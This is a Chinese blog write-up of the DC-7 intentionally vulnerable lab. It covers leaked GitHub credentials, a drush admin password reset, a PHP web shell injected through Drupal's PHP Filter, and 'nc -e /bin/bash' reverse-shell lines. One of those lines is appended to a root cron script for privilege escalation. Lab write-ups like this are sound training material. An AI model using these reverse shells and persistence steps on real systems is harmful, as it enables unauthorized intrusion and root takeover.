首页 > 其他分享 >DC-7靶机做题记录

DC-7靶机做题记录

时间:2024-01-21 23:55:40浏览次数:38  
标签:记录 DC drush backups PHP root 靶机

靶机下载地址:

链接:https://pan.baidu.com/s/1w2c_QKd_hOoR2AzNrdZjMg?pwd=tdky 
提取码:tdky 

参考:

image.png
描述:

DESCRIPTION 说明
DC-7 is another purposely built vulnerable lab with the intent of gaining experience in the world of penetration testing.
DC-7是另一个专门建造的易受攻击实验室,旨在获得渗透测试领域的经验。

While this isn't an overly technical challenge, it isn't exactly easy.
虽然这不是一个过于技术性的挑战,但也并不容易。

While it's kind of a logical progression from an earlier DC release (I won't tell you which one), there are some new concepts involved, but you will need to figure those out for yourself. :-) If you need to resort to brute forcing or dictionary attacks, you probably won't succeed.
虽然这是早期DC版本的一个逻辑进展(我不会告诉你是哪一个),但其中涉及一些新概念,但你需要自己弄清楚。:-)如果你需要诉诸暴力或字典攻击,你可能不会成功。

What you will need to do, is to think "outside" of the box.
你需要做的是跳出框框思考。

Waaaaaay "outside" of the box. :-)
Waaaaaay“在盒子外面”。:-)

The ultimate goal of this challenge is to get root and to read the one and only flag.
这个挑战的最终目标是扎根并阅读唯一的旗帜。

Linux skills and familiarity with the Linux command line are a must, as is some experience with basic penetration testing tools.
Linux技能和熟悉Linux命令行是必须的,有一些基本渗透测试工具的经验也是必须的。

For beginners, Google can be of great assistance, but you can always tweet me at @DCAU7 for assistance to get you going again. But take note: I won't give you the answer, instead, I'll give you an idea about how to move forward.
对于初学者来说,谷歌可以提供很大的帮助,但你可以随时在@DCAU7上向我推特寻求帮助,让你重新开始。但请注意:我不会给你答案,相反,我会给你一个如何前进的想法。

1、导入VMware虚拟机

下载完成后,得到DC-7.ova文件,导入到VMware后,设置靶机和kali的网络连接模式为NAT模式,靶机会自动获取ip地址。

2、拍摄快照,防止后面出问题,有快照还能恢复到初始设置
image.png
3、kali创建一个目录 dc7 ,后续的操作都在该目录下进行
image.png

使用工具

攻击者:kali 192.168.1.128
靶机:dc-3 192.168.1.135

一.信息收集

基础信息查询

0x01 查看存活主机 0x02 查看开放端口 和 0x03 查看端口服务

这几条命令的用法可以看之前的博客,这里不再赘述
image.png
发现靶机192.168.1.135开放了80和22端口

判断 CMS

来到 DC7 Web ⻚⾯,可以看到 CMS 是 Drupal
image.png
再次信息收集
发现主⻚存在⼀些信息:
image.png
发现下面有一个@DC7USER
那我们就用搜索引擎去搜索一下,发现了一个Github
image.png
config.php配置文件中发现了账号密码
image.png
尝试登录web页面,发现无法登录
image.png
那就尝试SSH登录,登录成功

ssh [email protected]

image.png
发现了个root用户的定时文件backups.sh,接下来看一下文件权限
image.png

ls -la /opt/scripts/

image.png

-rwxrwxr-x 1 root www-data  520 Aug 29  2019 backups.sh
root用户及其组用户(www-data)可以写入读取执行·,但其他用户没有写入的权限,只有读和执行的权限

backups.sh 内容如下 :
image.png
再回到/home/dc7user目录下查看一下,
发现 backups:备份⽂件
mbox:内容看着像⼀个定时备份,但是失败⽽保存的邮件
还有 .drush 这个目录
image.png
image.png
backups.sh 中也有 drush命令
image.png
发现了个drush命令,这个是drupal专属的一个操作系统命令,参考Drupal drush 常用命令

drush修改密码

使用这个命令需要先切换到drupal的目录

cd /var/www/html

查看用户信息
image.png
我们查看一下admin的用户信息

drush user-information admin

image.png
接下来修改admin的密码

drush upwd admin --password="admin"

image.png
然后我们登录后台,用admin管理员的账号
image.png
成功登录
image.png

反弹shell

进入后台之后,我们要写木马来进行反弹shell
点击内容,并点击编辑,看看能不能把PHP代码写进去
image.png
并未发现支持PHP代码的
image.png
这个时候我们需要安装 PHP Filter 模块
image.png
先把它下载到本地

然后拖进去进行安装
image.png
image.png
还需要再勾选一遍
image.png
这样才算成功安装
image.png
此时,页面编辑器中就出现了 PHP code
image.png
在 Body 中添加反弹shell 的pho代码

<?php system("nc -e /bin/bash 192.168.1.128 1234");?>

点击保存
image.png
现在先在我们的kali里面监听1234端口

nc -lvvnp 1234

image.png
然后访问一下 Welcome to DC-7这个页面,来让它解析PHP代码以触发反弹shell 的命令
image.png
成功反弹过来了
image.png

优化 SHELL

python -c 'import pty;pty.spawn("/bin/bash")'
export TERM=xterm

权限提升

修改定时脚本⽂件提权

echo "nc -e /bin/bash 192.168.1.128 4321" >> backups.sh

image.png
本地监听:

nc -lvvnp 4321

image.png
等待反弹过来即可
因为这个backups.sh的脚本是以root的身份执行的,所以弹回来的shell也是root权限的shell
提权成功!
image.png
成功获取到flag!

总结

  1. 第一步非常难,就是要找到它的Github的信息泄露
  2. 对drush的了解,可能国外的人用到就比较多
  3. 要解决它支持PHP代码的问题,需要安装支持PHP的插件
  4. 对定时任务的了解,邮件的定时任务,能够去发现一些脚本的内容

完毕!

标签:记录,DC,drush,backups,PHP,root,靶机
From: https://www.cnblogs.com/Fab1an/p/17978739

相关文章

  • 文心一言测评记录
    首先,我们需要明确RB-INSERT和RB-DELETE的基本操作。RB-INSERT的基本步骤如下:将新节点插入到红黑树的某个位置。重新平衡树,确保红黑树的性质仍然满足。RB-DELETE的基本步骤如下:http://sss.com。重新平衡树,确保红黑树的性质仍然满足。现在,我们考虑一个特定的场景:首先使用RB......
  • 假期学习记录07
    本次学习了Spark概述,了解了Spark的一些基本概念,为更好的学习基于内存计算的分布式框架,拥有良好的性能,运行速度快,采用内存计算scala简介运行再jvm上,具有强大并发性,支持函数式编程,语法简洁,兼容java,交互式语言Spark与Hadoop比较Hadoop:磁盘io开销大,表达能力有限,延迟高,map......
  • 使用Gin框架往数据库插入记录
    首先往数据库插入数据,就需要连接数据库(笔者此处使用的是PostgreSQL)因此在项目中引入如下依赖(这两个依赖版本号不一致,可能会出现异常)gorm.io/driver/postgres  //依赖是用于连接和操作PostgreSQL数据库gorm.io/gorm  //对象关系映射(ORM)库,简化Golang程序与数据库......
  • 【补题记录】ICPC2023 Jinan
    【补题记录】ICPC2023JinanContestLink:https://qoj.ac/contest/1472.Problems:https://sua.ac/wiki/2023-icpc-jinan/contest-zh.pdf.Solution:https://qoj.ac/download.php?type=attachments&id=1472&r=1.A.ManyManyHeadsconstintN=1e5+10;intT;str......
  • 赛博垃圾桶 【发疯记录】
    2024.1.21线段树建图线段树建图线段树建图线段树建图线段树建图线段树建图线段树建图线段树建图线段树建图线段树建图线段树建图线段树建图线段树建图线段树建图线段树建图线段树建图线段树建图线段树建图线段树建图线段树建图线段树建图线段树建图线段树建图线段树建图线段树建......
  • 在 SpringBoot 项目中使用 MDC 实现日志 traceId 的统一
    前言在项目中,对于每一次请求,我们都需要一个traceId将整个请求链路串联起来,这样就会很方便我们根据日志排查问题。但是如果每次打印日志都需要手动传递traceId参数,也会很麻烦,MDC就是为了解决这个场景而使用的。注:这里我们使用slf4j+logbacklogback配置logback.xml......
  • 记录迁移mongdb数据库
    在Windows系统上,默认情况下,MongoDB的数据库文件存储在以下位置: C:\ProgramFiles\MongoDB\Server\<版本号>\data\db这是MongoDB安装程序的默认路径。<版本号> 是MongoDB的版本号,例如 4.4 或 5.0。请注意,如果你在安装MongoDB时选择了不同的安装路径,那么数据库......
  • 假期学习记录06
    将Scala剩下的函数式编程进行学习函数式编程函数字面量123:整数自变量1.23浮点数自变量'A'字符自变量...函数自变量:定义一个变量一般去定义一个函数,使得函数也像其他自变量一般有了值,同样拥有类型和值函数的类型和值示例:defcounter(value:Int):Int={valu......
  • 假期学习记录05
    学习了Scala剩下的内容:模式匹配可以对表达式类型进行匹配matchvalcolorNum=1valcolorStr=colorNummatch{case1=>"red"case2=>"green"case3=>"yellow"case_=>"NotAllowed"//什么也没有匹配上}可以在match使用变......
  • Ubuntu20.04静态编译Boost记录
    下载Boost源码地址:https://www.boost.org/users/history/version_1_72_0.html指定安装位置./bootstrap.sh--prefix=/usr/local/boost-1-72-0编译release版本的boost库./b2toolset=gcclink=staticruntime-link=staticthreading=multi开始编译sudo./b2install--......